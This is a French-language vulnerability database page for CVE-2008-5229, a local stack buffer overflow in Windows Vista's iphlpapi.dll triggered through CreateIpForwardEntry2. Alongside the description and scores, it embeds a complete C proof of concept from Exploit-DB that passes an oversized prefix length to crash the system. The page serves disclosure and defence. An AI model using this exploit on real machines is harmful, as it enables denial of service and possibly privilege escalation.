CVE-2008-5229 : Détail

CVE-2008-5229

Overflow
1.29%V4
Local
2008-11-25
22h00 +00:00
2018-10-11
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Stack-based buffer overflow in Microsoft Device IO Control in iphlpapi.dll in Microsoft Windows Vista Gold and SP1 allows local users in the Network Configuration Operator group to gain privileges or cause a denial of service (system crash) via a large invalid PrefixLength to the CreateIpForwardEntry2 method, as demonstrated by a "route add" command. NOTE: this issue might not cross privilege boundaries.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32590

Date de publication : 2008-11-18 23h00 +00:00
Auteur : Marius Wachtler
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/32357/info // Microsoft Windows Vista is prone to a buffer-overflow vulnerability because of insufficient boundary checks. // Local attackers could exploit this issue to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to execute arbitrary code with SYSTEM-level privileges, but this has not been confirmed. // Windows Vista SP1 is vulnerable to this issue. // UPDATE (November 25, 2008): Since this issue may be exploitable only by members of the administrative group, the security implication of this issue may be negated. #define _WIN32_WINNT 0x0600 #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { DWORD dwStatus; MIB_IPFORWARD_ROW2 route; if (argc != 3) { printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]); return -1; } InitializeIpForwardEntry(&route); route.InterfaceIndex = atoi(argv[1]); route.DestinationPrefix.Prefix.si_family = AF_INET; route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0"); route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET; route.DestinationPrefix.PrefixLength = atoi(argv[2]); route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44"); route.NextHop.Ipv4.sin_family = AF_INET; route.SitePrefixLength = 0; route.Protocol = MIB_IPPROTO_NETMGMT; route.Origin = NlroManual; route.ValidLifetime = 0xffffffff; route.PreferredLifetime = 0xffffffff; route.Metric = 1; dwStatus = CreateIpForwardEntry2(&route); return dwStatus; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version gold

    Références

    http://secunia.com/advisories/32791
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://securitytracker.com/id?1021245
    Tags : vdb-entry, x_refsource_SECTRACK
    http://securityreason.com/securityalert/4646
    Tags : third-party-advisory, x_refsource_SREASON
    http://www.securityfocus.com/bid/32357
    Tags : vdb-entry, x_refsource_BID